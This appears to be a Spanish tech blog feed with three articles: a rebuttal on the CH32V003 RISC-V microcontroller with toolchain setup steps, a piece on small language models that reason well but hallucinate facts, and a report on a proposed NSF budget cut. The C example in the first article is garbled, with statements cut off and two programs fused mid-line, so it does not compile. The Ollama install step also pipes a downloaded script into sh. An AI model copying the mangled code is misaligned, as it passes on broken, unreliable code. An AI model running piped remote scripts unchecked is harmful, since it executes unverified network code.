La respuesta llegó tres días después, el 16 de agosto de 2026, cuando un ingeniero que trabaja desde Trinidad y Tobago publicó su réplica en rvembedded.com. Su punto de partida no es técnico: es geográfico. Antes de opinar sobre codificación de instrucciones, describe lo que cuesta conseguir un chip de un dólar cuando vivís fuera de Estados Unidos o Europa.

Contexto e historia

RISC-V es una arquitectura de conjunto de instrucciones (ISA) abierta y libre de regalías, desarrollada originalmente en UC Berkeley y hoy gobernada por RISC-V International. A diferencia de ARM o x86, cualquier fabricante puede implementar el núcleo sin pagar licencia, lo que abarató drásticamente los microcontroladores más simples.

El chip que discute el artículo es el CH32V003, fabricado por la empresa china WCH, que implementa RV32EC, una variante reducida de RISC-V de 32 bits con extensión de instrucciones comprimidas. El autor de la réplica no lo eligió al azar: lo usa en producción desde hace más de un año. En 2025 publicó un video titulado "Goodbye STM32 ARM, Meet the CH32 RISC-V Chips That Replaced It!" donde documentó su migración completa desde ARM hacia esta familia de chips.

Su argumento central no ataca la elegancia del encoding de instrucciones, que reconoce imperfecto (los offsets de las instrucciones comprimidas de store le parecen extraños, y Zicsr debería venir incluido por defecto en vez de ser una extensión aparte que hay que recordar pedir). Ataca la premisa de que el diseño de la ISA es lo único que importa. Cuenta que pagó entre US$60 y US$200 de envío por pedidos de chips de un dólar, mientras que comprar en Digikey o Mouser con envío gratuito es la norma para un desarrollador en Estados Unidos o Europa. Una empresa de fabricación de placas que lo había contactado para un posible patrocinio retiró la oferta apenas supo desde dónde despachaba.

Detalles técnicos del microcontrolador RISC-V CH32V003

Antes de las quejas sobre el encoding, Grinberg hace un ejercicio distinto: se pregunta para qué sirve realmente un núcleo de microcontrolador barato. Su respuesta es que vive dentro de un chip más grande, activando registros y configurando bloques de hardware (su ejemplo es un reproductor MP3, una lectora de tarjetas SD, una memoria USB). El trabajo real lo hace el silicio a medida alrededor del núcleo, no el núcleo mismo.

De ahí deriva los requisitos: baja latencia de interrupción, poca área de silicio y buena densidad de código, porque el código vive en ROM o SRAM y ambas son caras por byte. Sin multiplicador ni divisor por hardware, porque casi no hay aritmética pesada. Sin separación de privilegios, porque nunca corre nada que no sea de confianza.

Y entonces escribe la frase él mismo: "Pero", podrías decir, "¡acabás de describir RV32IC (o RV32EC)!". Más adelante, sin rodeos, admite: "Estoy 100% seguro de que RISC-V va a quedarse con el segmento de microcontroladores baratos y desechables, eventualmente." El crítico más citado del mes dedujo desde cero, con lápiz y papel, el conjunto de instrucciones que ya implementa un chip de diez centavos, y luego pasó el resto del artículo molesto porque ese chip existe.

El CH32V003 en sí tiene especificaciones mínimas: 16 registros de propósito general (la "E" de RV32E, contra los 32 registros de la variante estándar RV32I), 2 KB de SRAM, 16 KB de flash, sin multiplicador, sin divisor y solo modo máquina, sin niveles de privilegio adicionales. Es literalmente el núcleo que Grinberg describió como ideal antes de criticar que existiera.
El CH32V003 implementa RV32EC: 16 registros, sin multiplicador ni divisor.

flowchart TD
    A["Nucleo barato dentro de un chip mayor"] --> B["Baja latencia de interrupcion"]
    A --> C["Poca area de silicio"]
    A --> D["Buena densidad de codigo"]
    A --> E["Sin multiplicador ni divisor"]
    A --> F["Sin separacion de privilegios"]
    B --> G["RV32EC"]
    C --> G
    D --> G
    E --> G
    F --> G

OpciónCuándo usarlaVentajaLimitaciónCH32V003 (RISC-V RV32EC)Proyectos de volumen alto donde el costo unitario define el diseñoRonda los 10 centavos de dólar y usa una ISA abiertaSin multiplicador ni divisor por hardware, solo modo máquinaSTM32C0 (ARM Cortex-M0+)Cuando ya existe código o librerías ARM que no conviene portarEcosistema HAL maduro y depuración con herramientas ARM estándarSujeto a la misma logística de importación que cualquier otro chip ARMATtiny402 (AVR de 8 bits)Proyectos simples sin necesidad de aritmética de 32 bitsToolchain avr-gcc probado durante décadasCódigo menos denso que RISC-V comprimido en lógica compleja

💭 Clave: Grinberg dedujo desde primeros principios el núcleo ideal para un microcontrolador barato y llegó exactamente a RV32EC. Su enojo no es con la ingeniería, es con que el resultado le parece casualidad, no mérito.

Cómo probar un CH32V003 vos mismo

El chip se consigue en placas de desarrollo de bajo costo y el toolchain para programarlo es abierto. El proyecto más usado es ch32v003fun, mantenido por el ingeniero de hardware Charles Lohr, que expone los registros del chip sin una capa HAL pesada.

Instalación en Linux (Debian/Ubuntu):

sudo apt install git make gcc
git clone https://github.com/cnlohr/ch32v003fun.git
cd ch32v003fun/ch32v003fun
make flash

Instalación en macOS (con Homebrew):

brew install git make
git clone https://github.com/cnlohr/ch32v003fun.git
cd ch32v003fun/ch32v003fun
make flash

Instalación en Windows (vía WSL2, la ruta más estable porque el toolchain RISC-V está pensado para Linux):

wsl --install
wsl
sudo apt install git make gcc
git clone https://github.com/cnlohr/ch32v003fun.git
cd ch32v003fun/ch32v003fun
make flash

El repositorio descarga el compilador cruzado RISC-V la primera vez que corrés make. El comando make flash compila el ejemplo y lo graba en el chip a través de un programador WCH-LinkE conectado por el pin SWIO.

El ejemplo mínimo enciende y apaga un LED escribiendo directamente los registros del puerto GPIO, sin capa de abstracción intermedia:



#include "ch32v003fun.h"

int main() {
    SystemInit();
    RCC->APB2PCENR |= RCC_APB2Periph_GPIOC;
    GPIOC->CFGLR &= ~(0xf CFGLR |= (GPIO_Speed_10MHz | GPIO_CNF_OUT_PP) BSHR = (1 BSHR = (1 APB2PCENR |= RCC_APB2Periph_GPIOA | RCC_APB2Periph_ADC1;
    ADC1->RSQR3 = 0;
    ADC1->CTLR2 |= ADC_ADON;
    Delay_Ms(1);
    ADC1->CTLR2 |= ADC_ADON;

    while (1) {
        ADC1->CTLR2 |= ADC_SWSTART;
        while (!(ADC1->STATR & ADC_EOC));
        uint16_t muestra = ADC1->RDATAR;

        if (muestra > UMBRAL_SENSOR) {
            GPIOC->BSHR = (1 BSHR = (1  **⚠️ Ojo:** sin multiplicador ni divisor por hardware, cualquier operación aritmética que no sea suma o desplazamiento de bits se resuelve en software. Para filtros digitales, criptografía o procesamiento de señal, el CH32V003 no es la elección correcta: ahí conviene un núcleo con la extensión M.

## Impacto y análisis

El desacuerdo de fondo no es sobre si el CH32V003 es un buen chip. Es sobre si el argumento de Grinberg (que las necesidades de un procesador de alto rendimiento son diametralmente opuestas a las de un núcleo barato, y que por lo tanto ninguna ISA puede servir bien a los dos extremos) sostiene su propia conclusión. El autor de la réplica responde con lo que tiene sobre su escritorio: el mismo estándar RISC-V cubre desde el CH32V003 de diez centavos hasta núcleos de aplicación con MMU y multiplicación de doble precisión, con extensiones que cada implementación activa o ignora según lo que necesite.

Ese es, en el fondo, el diseño modular de RISC-V: una base entera obligatoria y decenas de extensiones opcionales (M para multiplicación, C para instrucciones comprimidas, A para atómicas, F y D para punto flotante) que un fabricante combina según el mercado. Grinberg lo ve como una fuente de fragmentación. El autor de Trinidad y Tobago lo ve como la razón por la que un mismo ecosistema de herramientas puede compilar tanto para el CH32V003 como para un núcleo de aplicación mucho más grande.

El argumento más fuerte de la réplica, sin embargo, no es de arquitectura: es de acceso. Para un estudiante en Nigeria, Bangladesh o el Caribe, la diferencia entre un chip de diez centavos y uno de un dólar no es un redondeo, es la diferencia entre que treinta estudiantes de un curso tengan cada uno su propio chip o que treinta estudiantes miren una sola placa de demostración, si es que llega alguna. La elegancia del encoding de instrucciones es un lujo que se puede discutir una vez que el hardware ya está sobre el escritorio. Que el hardware llegue al escritorio es la pregunta anterior, y ninguna de las quejas sobre offsets comprimidos la responde.
Con 30 alumnos por curso, 10 centavos contra un dólar decide quién tiene chip propio.
El autor menciona además un libro propio, todavía en un 80% de avance, dedicado exclusivamente a documentar cada una de las particularidades del CH32V003 que un desarrollador nuevo termina golpeándose la cabeza al descubrir: la ausencia de Zicsr por defecto, los offsets extraños de las instrucciones de store comprimidas, y otras decisiones del encoding que Grinberg también señala en su artículo. En eso, ambos coinciden: el ISA tiene aristas reales. Donde discrepan es en si esas aristas invalidan el proyecto completo.

## Qué sigue

La discusión sigue abierta en Lobsters y en los comentarios de ambos artículos, y no tiene un cierre técnico posible: es, en el fondo, un desacuerdo sobre qué problema está tratando de resolver RISC-V primero. Mientras tanto, el CH32V003 y chips similares de la familia CH32, fabricados por WCH, siguen apareciendo en proyectos hobbistas documentados públicamente, como el interruptor activado por silbido que el propio autor de la réplica construyó y mostró en video.

A corto plazo, lo más probable es que el debate no cambie el diseño de la ISA (RISC-V International ya fijó las extensiones base) pero sí influya en cómo se enseña arquitectura de computadoras en universidades con presupuesto limitado, donde el costo por estudiante ya es, para muchos programas, el factor que decide si la materia se dicta con hardware real o solo con simuladores.

📖 Resumen en Telegram: [Ver resumen](#)

Probalo vos: cloná [ch32v003fun](https://github.com/cnlohr/ch32v003fun) y corré `make flash` sobre una placa CH32V003 de pocos dólares para ver el blink corriendo en minutos.

## Preguntas frecuentes

### ¿Qué es el CH32V003?

Es un microcontrolador de 32 bits fabricado por la empresa china WCH que implementa RV32EC, una variante reducida de RISC-V con instrucciones comprimidas. Cuesta alrededor de 10 centavos de dólar por unidad en volumen.

### ¿Qué significa RV32EC?

RV32 indica una arquitectura RISC-V de 32 bits. La "E" señala el subconjunto Embedded, con 16 registros de propósito general en vez de los 32 habituales. La "C" indica soporte de instrucciones comprimidas de 16 bits, que mejoran la densidad de código.

### ¿Por qué Dmitry Grinberg critica a RISC-V si él mismo predijo que ganaría el segmento barato?

Su objeción no es que RISC-V vaya a dominar ese segmento, sino que considera que ciertas decisiones de encoding, como los offsets de las instrucciones de store comprimidas o que Zicsr sea una extensión separada, son defectos de diseño evitables, más allá de que el resultado final funcione.

### ¿El CH32V003 puede reemplazar cualquier proyecto con STM32 o ATtiny?

No en todos los casos. Al no tener multiplicador ni divisor por hardware, tareas con aritmética intensiva, como procesamiento de señal o criptografía, rinden peor que en un chip con esas unidades. Para tareas de control simple, como leer sensores o manejar salidas digitales, es una alternativa válida y más barata.

### ¿Qué programador hace falta para grabar el chip?

Un adaptador WCH-LinkE, que se conecta por el pin SWIO del chip y cuesta pocos dólares. El mismo adaptador también permite depurar con puntos de interrupción.

### ¿Existe un toolchain completamente open source para el CH32V003?

Sí. El proyecto [ch32v003fun](https://github.com/cnlohr/ch32v003fun) ofrece ejemplos, definiciones de registro y un flujo de compilación basado en GCC para RISC-V, sin depender del IDE propietario de WCH.

## Referencias

- [rvembedded.com](https://rvembedded.com/blog_post/12/): la réplica completa de un ingeniero embebido de Trinidad y Tobago al artículo de Dmitry Grinberg, publicada el 16 de agosto de 2026.- [dmitry.gr](https://dmitry.gr/): sitio de Dmitry Grinberg, autor de "RISC-V: They Should Have Known Better", el artículo que originó la discusión.- [github.com/cnlohr/ch32v003fun](https://github.com/cnlohr/ch32v003fun): toolchain y ejemplos open source para programar el CH32V003 sin el IDE propietario de WCH.- [riscv.org](https://riscv.org/): sitio oficial de RISC-V International, la organización que mantiene las especificaciones de la arquitectura.- [en.wikipedia.org/wiki/RISC-V](https://en.wikipedia.org/wiki/RISC-V): referencia general sobre el conjunto de instrucciones RISC-V y sus extensiones.

📱 **¿Te gusta este contenido?** Únete a nuestro canal de Telegram [@programacion](https://t.me/programacion) donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.

Qwen3.5 alucina el 82% de los hechos pese a razonar como GLM-5.2

lu1tr0n — Sun, 16 Aug 2026 20:26:10 +0000

GLM-5.2 resuelve el 99,2% de los problemas de AIME 2026 con apenas 40.000 millones de parámetros activos por token, una fracción de los cerca de 280.000 millones que se rumoreaba usaba GPT-4 en 2023 para apenas resolver algún problema de la misma prueba. El truco no es magia: los laboratorios están vaciando el conocimiento factual de los modelos para dejar espacio al razonamiento puro.

Preguntale a esos mismos modelos compactos un dato duro sin darles herramientas externas, y la ilusión se rompe. Qwen3.5 de 9.000 millones de parámetros alucina hasta el 82% de las veces cuando no sabe la respuesta, según Artificial Analysis. El conocimiento factual no desapareció: se movió fuera de los pesos.

TL;DR

GLM-5.2 anota 99,2% en AIME 2026 con unos 40.000 millones de parámetros activos por token.- Qwen3.5 llega a 91,3% en AIME 2026 usando solo 17.000 millones de parámetros activos.- DeepSeek V4-Flash razona con unos 13.000 millones de parámetros activos por token.- GPT-4 (2023) usaba un estimado de 280.000 millones de parámetros activos y apenas resolvía AIME.- En SimpleQA, el líder Gemini 2.5 Pro acierta solo el 53% de preguntas factuales sin herramientas.- Qwen3.5 de 4B y 9B alucina entre 80% y 82% de las veces cuando no conoce un hecho, según Artificial Analysis.- La serie Physics of Language Models mide la capacidad factual en unos 2 bits de conocimiento por parámetro.- Phi-4 de Microsoft (14.000 millones de parámetros) es fuerte en matemática y débil en trivia por su entrenamiento sintético.

Introducción

Durante 2023 y 2024, la frontera de la IA avanzó a fuerza de más parámetros: cuantos más pesos, mejor el modelo. Ese supuesto se rompió. Hoy los laboratorios entrenan modelos más chicos y más capaces en razonamiento verificable, matemática y código, a costa de sacrificar deliberadamente cuánto saben de memoria sobre el mundo. No es un efecto secundario ni una limitación técnica: es una decisión de diseño.

Qué pasó con el conocimiento factual

El desarrollador Walter van der Giessen documentó el patrón en un análisis publicado en w4g1.dev: mientras los puntajes de razonamiento suben, el cómputo por token baja. GLM-5.2 llega al 99,2% en AIME 2026 con unos 40.000 millones de parámetros activos por token. Qwen3.5 anota 91,3% con solo 17.000 millones activos. DeepSeek V4-Flash razona con apenas 13.000 millones activos por token. Para dimensionar el salto: GPT-4 corría, según estimaciones que circularon en 2023, con cerca de 280.000 millones de parámetros activos y aun así apenas resolvía un problema de AIME.

En el otro extremo de la escala, Qwen3.5 de 9.000 millones de parámetros cuantizado cabe en 6 GB de VRAM (una GPU de laptop gamer) y duplica el puntaje del siguiente mejor modelo de menos de 10.000 millones de parámetros en el índice de inteligencia de Artificial Analysis. Si el único criterio fueran los benchmarks de matemática y código, la conclusión sería que los modelos se volvieron radicalmente más inteligentes por parámetro.

La foto cambia por completo con una pregunta factual simple, sin herramientas de búsqueda de por medio. En SimpleQA, el benchmark de recuerdo factual sin herramientas, el líder actual es Gemini 2.5 Pro con apenas 53% de aciertos. Los modelos chicos ni se acercan: Qwen3.5 de 4.000 y 9.000 millones de parámetros alucina entre el 80% y el 82% de las veces que no conoce la respuesta, según el benchmark de conocimiento de Artificial Analysis. Cuando no saben algo, que es la mayoría del tiempo, inventan una respuesta con total seguridad.

Contexto e historia

Los datos duros ocupan espacio físico dentro de una red neuronal. La serie de investigación Physics of Language Models midió esa capacidad y llegó a una cifra memorable: un modelo guarda, en promedio, unos 2 bits de conocimiento factual por parámetro. Si querés un modelo que sepa el año de nacimiento de cualquier matemático menor del siglo XIX, la población de cada municipio holandés y el orden exacto de los argumentos de cada función de cada paquete de npm, pagás ese conocimiento en pesos. Es buena parte de la razón por la que los modelos de frontera llegaron a tener billones de parámetros.

El razonamiento comprime mucho mejor que los hechos porque es, en esencia, un conjunto chico de procedimientos que se repiten: dividir un problema en partes, llevar un estado intermedio, revisar el propio trabajo, retroceder cuando un paso falla. La destilación y el aprendizaje por refuerzo sobre tareas verificables transfieren esos procedimientos a modelos chicos sorprendentemente bien. Phi-4, de Microsoft, tiene 14.000 millones de parámetros, se entrenó fuerte con datos sintéticos estilo libro de texto, y es bueno en matemática y malo en trivia: el resultado exacto de lo que había, y lo que no había, en sus datos de entrenamiento. Lo que antes se veía como una limitación del enfoque de datos sintéticos hoy se ve como el objetivo de diseño.

El conocimiento que sobrevive al recorte tiene una forma particular. Estos modelos son generalistas: saben un poco de casi todo y casi nada en profundidad. Preguntale a uno por PostgreSQL y te va a decir qué es, para qué sirve y a grandes rasgos cómo funciona MVCC, pero si le pedís qué versión agregó una función específica del planner, vuelve a inventar. Esa es la capa correcta para guardar en los pesos: la amplitud es lo que le permite al modelo entender de qué trata una pregunta, saber qué buscar y juzgar si una fuente es creíble. La profundidad es barata de buscar y cara de almacenar, así que es la parte que se recorta.

Detalles técnicos y rendimiento

ModeloParámetros activos por tokenPrecisión en AIME 2026DetalleGLM-5.2~40.000 millones99,2%Arquitectura MoE, mayoría de parámetros en expertos de conocimientoQwen3.517.000 millones91,3%Corre en hardware de gama mediaDeepSeek V4-Flash~13.000 millonesNo reportado en la fuente~284.000 millones de parámetros totales, la mayoría en expertosGPT-4 (2023, referencia)~280.000 millones (rumor)Baja, apenas resolvía AIMESin optimización dedicada a razonamiento verificable
La arquitectura que hace posible este recorte es mixture of experts (MoE): el modelo tiene muchos más parámetros totales que activos, y en cada token solo se activa un subconjunto de expertos. DeepSeek V4-Flash razona con unos 13.000 millones de parámetros activos, pero sus expertos suman cerca de 284.000 millones en total. La mayoría de esos expertos no son motores de razonamiento: son almacenamiento de hechos. Es justamente esa parte, los expertos de conocimiento, la que este cambio de diseño vuelve opcional.
Menos parámetros activos, igual o mejor puntaje en razonamiento verificable.
Hay una consecuencia práctica inmediata: si el conocimiento vive sobre todo en los expertos y el razonamiento cabe en 13.000 a 40.000 millones de parámetros activos, recortar los expertos de hechos hace que el tamaño total del modelo se acerque al tamaño activo. Un modelo de 20.000 a 40.000 millones de parámetros a 4 bits de cuantización entra en una tarjeta de 24 GB, la misma que viene en PCs gamer desde 2022. La contrapartida es que ese modelo compacto no va a saber, por ejemplo, un dato reciente si nadie se lo dice.

Cómo probarlo

El patrón se puede reproducir hoy con modelos reales que corren en tu propia máquina, sin depender de un laboratorio de frontera. La forma más simple es Ollama, que empaqueta el modelo y expone una API local.

Windows (PowerShell):

winget install Ollama.Ollama
ollama pull qwen2.5:7b
ollama run qwen2.5:7b "Resolve paso a paso: un tren sale a las 14:00 a 80 km/h y otro sale 30 minutos despues a 100 km/h por la misma ruta, en que momento se cruzan?"

macOS:

brew install ollama
ollama pull qwen2.5:7b
ollama run qwen2.5:7b "Resolve paso a paso el mismo problema del tren"

Linux:

curl -fsSL https://ollama.com/install.sh | sh
ollama pull qwen2.5:7b
ollama run qwen2.5:7b "Resolve paso a paso el mismo problema del tren"

Ese mismo modelo chico, sin contexto externo, va a fallar si le pedís un dato factual puntual que no memorizó. El patrón que documenta w4g1.dev con modelos de frontera se reproduce a escala chica: buen razonamiento, conocimiento factual pobre.

El complemento es un harness que le entregue el hecho en el momento de la consulta, en vez de esperar que lo tenga memorizado:

// harness.js: el modelo razona, la busqueda aporta el hecho actualizado
import ollama from 'ollama'

async function responderConHechos(pregunta, contextoFactual) {
  const prompt = `Contexto verificado:\n${contextoFactual}\n\nPregunta: ${pregunta}\nRespondé usando solo el contexto de arriba.`
  const respuesta = await ollama.chat({
    model: 'qwen2.5:7b',
    messages: [{ role: 'user', content: prompt }]
  })
  return respuesta.message.content
}

const release = await fetch('https://api.github.com/repos/ollama/ollama/releases/latest').then(r => r.json())
const texto = await responderConHechos('Cual es la ultima version de Ollama?', release.tag_name)
console.log(texto)

El modelo nunca memorizó la versión de Ollama: la recibe en el prompt en tiempo de consulta, así el dato no queda obsoleto aunque el modelo tenga meses de antigüedad.

Para confirmar qué modelo y qué cuantización tenés realmente cargados, ollama show qwen2.5:7b imprime el conteo de parámetros y el detalle de cuantización. Para medir la tasa de alucinación en tu propio caso de uso, pedile al modelo un dato verificable que no esté en el contexto que le diste (una fecha, una versión, un número concreto) y contrastá la respuesta contra la fuente real. Un modelo bien usado en este esquema debería decir que no lo sabe o pedir más contexto, no inventar un número con la misma confianza que si lo supiera.

Impacto y análisis

El desplazamiento tiene una lectura práctica para quien construye con agentes de código. Un agente que edita un repositorio no necesita haber memorizado la superficie de API de una dependencia: le alcanza con leer node_modules o la documentación antes de llamar a cualquier función, y su respuesta queda anclada a la versión instalada, no a la que dominaba el corpus de entrenamiento. El recuerdo que antes era un costo fijo en cada pase hacia adelante se convirtió en una consulta bajo demanda.

💭 Clave: la frontera técnica ya no es solo entrenar modelos más grandes, sino decidir qué conocimiento vive en los pesos y cuál se resuelve en tiempo de consulta contra una fuente externa.

Esto también cambia la economía del envejecimiento de un modelo. Una corrida de entrenamiento de frontera toma meses y cuesta cientos de millones de dólares, y en el momento en que termina, los hechos que memorizó empiezan a quedar viejos: las APIs cambian, los precios cambian, la gente cambia de trabajo. Un modelo cargado de hechos envejece junto con su corpus. Uno cargado sobre todo de procedimientos depende mucho menos de su fecha de corte, porque el estado actual del mundo nunca estuvo pensado para vivir en los pesos.

⚠️ Ojo: un modelo optimizado para razonar responde con la misma seguridad tanto si el dato es correcto como si lo inventó. La confianza del texto generado no es una señal de precisión factual, y confiar en el resultado de un modelo chico sin contexto externo es la forma más rápida de publicar un dato falso.

La limitación real es que este enfoque traslada la responsabilidad de la corrección al harness. Si la búsqueda devuelve una fuente vieja o un sistema de recuperación indexa mal un documento, un modelo que razona muy bien va a construir una respuesta igual de convincente sobre datos igual de incorrectos. Para tareas donde no hay una fuente externa confiable a mano, como opinión o síntesis de literatura dispersa, un modelo chico y sin memoria factual profunda sigue siendo peor que uno de frontera con más conocimiento propio.

Qué sigue

La lógica de esta tendencia, extrapolada un par de años, apunta a un modelo con razonamiento de frontera que corre en una sola GPU de consumo. La mitad del cómputo ya casi llegó ahí: DeepSeek V4-Flash razona con unos 13.000 millones de parámetros activos por token, dentro del rango de una GPU de consumo. Lo que no entra todavía son los otros cerca de 271.000 millones de parámetros que viven en sus expertos, y esos expertos son sobre todo almacenamiento de hechos.
El harness (búsqueda, RAG, herramientas) reemplaza al peso como fuente de hechos.

flowchart TD
A["Modelo: pesos con razonamiento"] --> B{"Necesita un hecho actual?"}
B -- "Si" --> C["Harness: busqueda o herramienta"]
C --> D["Hecho verificado y actualizado"]
D --> E["Respuesta final"]
B -- "No, es logica pura" --> E

Ese diagrama resume el cambio de fondo: el modelo aporta el razonamiento, y todo lo que razona se le entrega en el momento de la consulta. El costo de mantener actualizado un sistema así ya no está en reentrenar un modelo de billones de parámetros cada pocos meses, sino en mantener actualizado el harness (el índice de búsqueda, los documentos, las herramientas) que lo alimenta.

Probalo vos: corré ollama pull qwen2.5:7b y comparalo en tu propia terminal contra una pregunta de matemática y una de trivia sin contexto, vas a ver el mismo patrón que documenta w4g1.dev en modelos mucho más grandes.

📖 Resumen en Telegram: Ver resumen

Preguntas frecuentes

¿Por qué los modelos de IA memorizan menos hechos ahora?

Porque el razonamiento comprime mejor que el conocimiento factual: unos pocos procedimientos generales rinden en muchos problemas, mientras que cada hecho nuevo exige parámetros dedicados solo a guardarlo.

¿Qué es la tasa de alucinación y cómo se mide?

Es el porcentaje de respuestas incorrectas que un modelo entrega con apariencia de certeza cuando no conoce el dato real. Artificial Analysis la mide en su benchmark de conocimiento, y en Qwen3.5 de 4.000 y 9.000 millones de parámetros llega a 80-82%.

¿Un modelo chico sirve para programar si no sabe hechos?

Sí, si trabaja con un harness: documentación, el propio repositorio o herramientas de búsqueda. El razonamiento es la parte que un modelo chico retiene bien; los detalles específicos de una API se buscan en tiempo real.

¿Qué es la arquitectura mixture of experts (MoE)?

Es un diseño donde el modelo tiene muchos más parámetros totales que los que activa en cada token: solo un subconjunto de expertos se enciende por consulta, lo que permite guardar mucho conocimiento en el total sin pagar ese costo en cada cómputo.

¿Voy a poder correr un modelo de frontera en mi propia GPU?

La tendencia apunta a eso: si el conocimiento factual se recorta y el tamaño total se acerca al tamaño activo, un modelo de 20.000 a 40.000 millones de parámetros a 4 bits ya entra en una tarjeta de 24 GB, algo que muchas PCs gamer tienen desde 2022.

¿Cómo verifico si una respuesta del modelo es un hecho real o inventado?

Pedile la fuente y contrastala contra el harness: documentación oficial, una API o una búsqueda. Si el modelo no puede señalar de dónde sacó el dato o el contexto que le diste no lo contiene, tratá la respuesta como no verificada.

Referencias

Models Are Getting Dumber on Purpose, Walter van der Giessen: el análisis original con los datos de GLM-5.2, Qwen3.5, DeepSeek V4-Flash y SimpleQA.- Physics of Language Models: la serie de investigación que mide la capacidad factual en bits por parámetro.- Phi-4 en Hugging Face: ficha del modelo de Microsoft entrenado con datos sintéticos.- Ollama: herramienta para correr modelos de lenguaje de forma local en Windows, macOS y Linux.- Mixture of experts, Wikipedia: explicación de la arquitectura MoE usada por los modelos mencionados.

NSF recorta 56% su presupuesto y prioriza la IA sobre ciencia básica

lu1tr0n — Sun, 16 Aug 2026 16:17:37 +0000

El presupuesto de la National Science Foundation para el año fiscal 2026 cae 56%, de 9.060 millones a unos 3.900 millones de dólares, según la propuesta del Ejecutivo estadounidense confirmada por fuentes internas de la agencia. Es el recorte más profundo en la historia del NSF, la agencia que financia cerca del 25% de la investigación básica no médica en universidades de Estados Unidos.

El dinero liberado no desaparece: se redirige a un plan federal de inteligencia artificial aplicada a la ciencia. Para un investigador o un laboratorio universitario que dependa de una subvención del NSF, el cambio no es abstracto: implica menos becas doctorales, menos cómputo para proyectos de ciencia básica y una apuesta explícita por la IA por sobre otras disciplinas.

TL;DR

El NSF propone un recorte del 56% de su presupuesto para 2026, de 9.060 millones a unos 3.900 millones de dólares.- Desde abril de 2025 el NSF terminó miles de subvenciones activas de investigación básica en universidades de EE.UU.- La agencia redirige fondos hacia inteligencia artificial, cómputo cuántico y biotecnología como áreas prioritarias.- El NSF financia históricamente cerca del 25% de la investigación básica no médica en universidades estadounidenses.- El recorte propuesto por el Ejecutivo aún depende de la aprobación final del Congreso, que históricamente restaura parte del presupuesto.- Ciencias sociales, del comportamiento y programas de educación STEM son las áreas con mayor reducción proporcional.- Investigadores y sociedades científicas advierten sobre pérdida de talento joven y freno a proyectos de largo plazo.

Qué pasó con el recorte del NSF

La propuesta de presupuesto del Ejecutivo para el año fiscal 2026 reduce en 56% los fondos de la National Science Foundation. La agencia, creada en 1950 para financiar ciencia básica fuera del ámbito médico, venía operando con un presupuesto anual cercano a los 9.000 millones de dólares desde hace varios años.

Según fuentes internas de la agencia citadas por medios especializados en política científica, el recorte no llegó de golpe: desde abril de 2025 el NSF empezó a terminar subvenciones activas antes de su fecha de vencimiento, algo inusual porque muchos investigadores ya habían contratado personal y comprado equipo con esos fondos. La cifra exacta de subvenciones canceladas varía según la fuente, pero coinciden en que se cuentan por miles y que el monto involucrado supera los mil millones de dólares.

El recorte del NSF se enmarca en una reestructuración más amplia: la agencia pasó de financiar un portafolio amplio de disciplinas (matemáticas, ciencias sociales, biología, ingeniería, educación STEM) a concentrar recursos en un número reducido de áreas prioritarias definidas por la Casa Blanca, con la inteligencia artificial y la computación cuántica a la cabeza.
El NSF financia cerca del 25% de la investigación básica no médica en EE.UU.

Contexto e historia

El NSF no es una agencia cualquiera: durante siete décadas fue la principal fuente de financiamiento federal para ciencia básica sin fines médicos, desde matemática pura hasta ecología y ciencias sociales. A diferencia de los Institutos Nacionales de Salud (NIH), que financian investigación biomédica, el NSF cubre disciplinas que rara vez atraen inversión privada porque sus resultados no son comercializables a corto plazo.

El giro hacia la inteligencia artificial no surgió de la nada. En 2025 la administración estadounidense publicó su plan de acción de IA a nivel federal, y meses después firmó una orden ejecutiva que crea un programa de gran escala para aplicar inteligencia artificial a la investigación científica, comparándolo públicamente con el esfuerzo del Proyecto Manhattan. El recorte del NSF y la reasignación de fondos hacia IA son la traducción presupuestaria de esa prioridad: menos ciencia básica dispersa, más cómputo e IA concentrados en objetivos específicos.

El resultado es una fricción real entre dos modelos de cómo se produce el conocimiento científico: el modelo histórico del NSF, que financia proyectos exploratorios sin garantía de resultado inmediato, y el nuevo modelo, que prioriza herramientas de IA con aplicación más directa y medible.

Cómo se reparte el recorte por área

No todas las direcciones del NSF pierden fondos por igual. La reasignación favorece con claridad a la inteligencia artificial y el cómputo cuántico, mientras las ciencias sociales, del comportamiento y los programas de educación STEM concentran la mayor parte del ajuste.
ÁreaPrioridad bajo el nuevo enfoqueTendencia de financiamientoInteligencia artificial y cómputoMáximaAumentoComputación cuánticaAltaAumentoBiotecnologíaAltaEstable o leve aumentoCiencias sociales y del comportamientoReducidaRecorte fuerteEducación STEM y becas de posgradoReducidaRecorte fuerteCiencias biológicas y ambientalesReducidaRecorte moderado

flowchart TD
 A["Presupuesto NSF 2026"] --> B["Ciencias sociales y educacion STEM"]
 A --> C["Ciencias biologicas y ambientales"]
 A --> D["IA y computacion cuantica"]
 B --> E["Recorte fuerte de subvenciones"]
 C --> F["Recorte moderado"]
 D --> G["Nuevos programas prioritarios"]

Qué significa esto en la práctica

Un laboratorio de ecología que dependía de una subvención plurianual del NSF hoy compite por una porción menor del presupuesto, mientras un grupo que aplica aprendizaje automático a genómica o a modelado climático encuentra más líneas de financiamiento abiertas. No es que la ciencia básica desaparezca del NSF: es que su prioridad relativa bajó frente a proyectos que incorporan IA de forma directa.

Cómo verificar los datos del recorte del NSF

El NSF publica sus subvenciones activas y canceladas en un sistema abierto. Cualquiera puede consultar qué proyectos de su institución o su campo perdieron financiamiento usando la API pública de búsqueda de subvenciones, sin necesidad de credenciales:

curl "https://api.nsf.gov/services/v1/awards.json?keyword=quantum+computing&printFields=id,title,awardeeName,fundsObligatedAmt,expDate"

Este comando devuelve, en JSON, las subvenciones relacionadas con computación cuántica junto con el monto otorgado y la fecha de expiración original. Si esa fecha ya pasó pero el estado del proyecto en la web institucional del investigador sigue como "en curso", es una señal de que el proyecto fue cortado antes de tiempo.

Para buscar por institución en vez de por palabra clave, el mismo endpoint acepta el nombre de la universidad:

curl "https://api.nsf.gov/services/v1/awards.json?awardeeName=Stanford+University&printFields=id,title,fundsObligatedAmt,expDate"

📌 Nota: el 56% es la cifra de la propuesta presupuestaria del Ejecutivo, no el presupuesto final. En Estados Unidos, el Congreso tiene la última palabra en las apropiaciones anuales y en ciclos previos restauró parte de los recortes propuestos para el NSF. La cifra final puede diferir de la propuesta inicial.

Impacto y análisis

